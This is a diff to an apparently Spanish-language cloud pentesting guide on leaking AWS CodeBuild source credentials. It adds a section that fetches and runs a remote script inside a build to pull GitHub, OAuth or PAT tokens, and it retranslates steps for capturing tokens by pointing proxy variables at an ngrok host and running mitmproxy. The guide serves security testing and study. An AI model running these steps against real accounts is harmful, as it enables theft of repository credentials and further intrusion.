diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index 9e7f3e8a8..b59adb92e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -8,41 +8,51 @@ Primero, comprueba si hay credenciales de origen configuradas que puedas leak: ```bash aws codebuild list-source-credentials ``` -### Via Docker Image +### Mediante RCE en CodeBuild Job -Si descubres que la autenticación, por ejemplo con Github, está configurada en la cuenta, puedes **exfiltrate** ese **access** (**GH token or OAuth token**) haciendo que Codebuild **use an specific docker image** para ejecutar el build del proyecto. +Desde dentro de un CodeBuild job, puedes llamar a un endpoint no documentado de la API de AWS CodeBuild que te devolverá las credenciales usadas por CodeBuild. Esto puede usarse para obtener las credenciales con las que se configuró el CodeBuild job, p. ej. credenciales de AWS CodeConnection, OAUTH o PAT. El CodeBuild job no necesita privilegios para llamar a este endpoint y además es difícil de detectar en registro y monitorización, ya que el propio CodeBuild llama a este endpoint varias veces al iniciar. -Para ello puedes **crear un nuevo proyecto de Codebuild** o cambiar el **environment** de uno existente para establecer el **Docker image**. +La técnica se explica más a fondo en [https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/](https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/) pero en resumen, para obtener credenciales desde dentro del CodeBuild job solo necesitas ejecutar lo siguiente: +``` +python -m pip install botocore boto3 requests +wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py +python ./GetBuildInfo.py +``` +### Vía Docker Image -The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Esta es una imagen Docker muy básica que establecerá las **env variables `https_proxy`**, **`http_proxy`** y **`SSL_CERT_FILE`**. Esto te permitirá interceptar la mayor parte del tráfico del host indicado en **`https_proxy`** y **`http_proxy`** y confiar en el SSL CERT indicado en **`SSL_CERT_FILE`**. +Si encuentras que la autenticación, por ejemplo a Github, está configurada en la cuenta, puedes **exfiltrate** ese **access** (**GH token or OAuth token**) haciendo que Codebuild **use an specific docker image** para ejecutar el build del proyecto. -1. **Create & Upload your own Docker MitM image** -- Sigue las instrucciones del repo para configurar la IP de tu proxy y tu certificado SSL y **build the docker image**. -- **DO NOT SET `http_proxy`** para no interceptar las peticiones al endpoint de metadata. +Para este propósito podrías **crear un nuevo Codebuild project** o cambiar el **environment** de uno existente para establecer la **Docker image**. + +La Docker image que podrías usar es [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Esta es una Docker image muy básica que configurará las **env variables `https_proxy`**, **`http_proxy`** y **`SSL_CERT_FILE`**. Esto te permitirá interceptar la mayoría del tráfico del host indicado en **`https_proxy`** y **`http_proxy`** y confiar en el SSL CERT indicado en **`SSL_CERT_FILE`**. + +1. **Crear & Subir tu propio Docker MitM image** +- Sigue las instrucciones del repo para establecer la IP de tu proxy y configurar tu SSL cert y **build the docker image**. +- **NO CONFIGURES `http_proxy`** para no interceptar requests al metadata endpoint. - Puedes usar **`ngrok`** como `ngrok tcp 4444` para setear el proxy a tu host -- Una vez tengas la Docker image construida, **upload it to a public repo** (Dockerhub, ECR...) -2. **Set the environment** +- Una vez tengas la Docker image construida, **subela a un repo público** (Dockerhub, ECR...) +2. **Configurar el entorno** - Crea un **nuevo Codebuild project** o **modifica** el environment de uno existente. - Configura el proyecto para usar la **previously generated Docker image**
-3. **Set the MitM proxy in your host** +3. **Configura el proxy MitM en tu host** -- Como indica el **Github repo** podrías usar algo como: +- Como se indica en el **Github repo** podrías usar algo como: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] > La **versión de mitmproxy usada fue 9.0.1**, se informó que con la versión 10 esto podría no funcionar. -4. **Ejecuta el build & captura las credenciales** +4. **Ejecuta el build y captura las credenciales** -- Puedes ver el token en la **Authorization** header: +- Puedes ver el token en la cabecera **Authorization**:
-Esto también se puede hacer desde el aws cli con algo como +Esto también se podría hacer desde el aws cli con algo como ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json @@ -71,16 +81,16 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json # Start the build aws codebuild start-build --project-name my-project2 ``` -### A través de insecureSSL +### Vía insecureSSL -Los proyectos de **Codebuild** tienen una opción llamada **`insecureSsl`** que está oculta en la web y solo se puede cambiar desde la API.\ -Al habilitar esto, permite que Codebuild se conecte al repositorio **sin comprobar el certificado** ofrecido por la plataforma. +Los proyectos de **Codebuild** tienen una configuración llamada **`insecureSsl`** que está oculta en la interfaz web y solo se puede cambiar desde la API.\ +Activarlo permite a Codebuild conectarse al repositorio **sin verificar el certificado** ofrecido por la plataforma. - Primero necesitas enumerar la configuración actual con algo como: ```bash aws codebuild batch-get-projects --name ``` -- Luego, con la información recopilada puedes actualizar la configuración del proyecto **`insecureSsl`** a **`True`**. El siguiente es un ejemplo de mi actualización de un proyecto; observa **`insecureSsl=True`** al final (esto es lo único que necesitas cambiar de la configuración recopilada). +- Luego, con la información recopilada puedes actualizar la configuración del proyecto **`insecureSsl`** a **`True`**. A continuación hay un ejemplo de mi actualización de un proyecto; observa el **`insecureSsl=True`** al final (esto es lo único que necesitas cambiar de la configuración recopilada). - Además, agrega también las variables de entorno **http_proxy** y **https_proxy** apuntando a tu tcp ngrok así: ```bash aws codebuild update-project --name \ @@ -128,24 +138,24 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Finalmente, haz clic en **Build the project**, las **credentials** serán **enviadas en texto claro** (base64) al puerto mitm: +- Finalmente, haz clic en **Build the project**, las **credenciales** serán **enviadas en texto claro** (base64) al puerto mitm:
-### ~~Vía protocolo HTTP~~ +### ~~Vía HTTP~~ -> [!TIP] > **Esta vulnerabilidad fue corregida por AWS en algún momento la semana del 20 de febrero de 2023 (creo que el viernes). Así que un atacante ya no puede abusar de ella :)** +> [!TIP] > **Esta vulnerabilidad fue corregida por AWS en algún momento de la semana del 20 de Feb de 2023 (creo que el viernes). Así que un atacante ya no puede abusar de ella :)** -Un atacante con **permisos elevados sobre un CodeBuild podría leak el token de Github/Bitbucket** configurado o, si los permisos fueron configurados vía OAuth, el **token OAuth temporal usado para acceder al código**. +Un atacante con **permisos elevados sobre un CodeBuild podría leak el token de Github/Bitbucket** configurado o si los permisos se configuraron vía OAuth, el **token OAuth temporal utilizado para acceder al código**. -- Un atacante podría agregar las variables de entorno **http_proxy** y **https_proxy** al proyecto CodeBuild apuntando a su máquina (por ejemplo `http://5.tcp.eu.ngrok.io:14972`). +- Un atacante podría añadir las variables de entorno **http_proxy** y **https_proxy** al proyecto CodeBuild apuntando a su máquina (por ejemplo `http://5.tcp.eu.ngrok.io:14972`).
-- Luego, cambia la URL del repo de github para usar HTTP en vez de HTTPS, por ejemplo: `http://github.com/carlospolop-forks/TestActions` -- Luego, ejecuta el ejemplo básico de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) en el puerto indicado por las variables proxy (http_proxy y https_proxy) +- Luego, cambia la URL del repo de github para usar HTTP en lugar de HTTPS, por ejemplo: `http://github.com/carlospolop-forks/TestActions` +- Después, ejecuta el ejemplo básico de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) en el puerto señalado por las variables proxy (http_proxy y https_proxy) ```python from mitm import MITM, protocol, middleware, crypto @@ -158,20 +168,20 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- A continuación, haga clic en **Build the project** o inicie la build desde la línea de comandos: +- A continuación, haga clic en **Construir el proyecto** o inicie la compilión desde la línea de comandos: ```sh aws codebuild start-build --project-name ``` -- Finalmente, las **credentials** serán **enviadas en texto plano** (base64) al mitm port: +- Finalmente, las **credentials** serán **enviadas en texto claro** (base64) al puerto mitm:
> [!WARNING] -> Ahora un atacante podrá usar el token desde su máquina, listar todos los privilegios que tiene y (ab)usar más fácilmente que al usar el servicio CodeBuild directamente. +> Ahora un atacante podrá usar el token desde su máquina, listar todos los privilegios que tiene y (ab)use más fácilmente que usando el servicio CodeBuild directamente. -## Ejecución de PR no confiable vía mala configuración del filtro del webhook +## Ejecución de PR no confiable vía misconfiguración del filtro de webhook -Para la cadena de bypass del webhook desencadenada por PR (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), consulta: +Para la cadena de bypass del webhook activada por PR (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), consulte: {{#ref}} aws-codebuild-untrusted-pr-webhook-bypass.md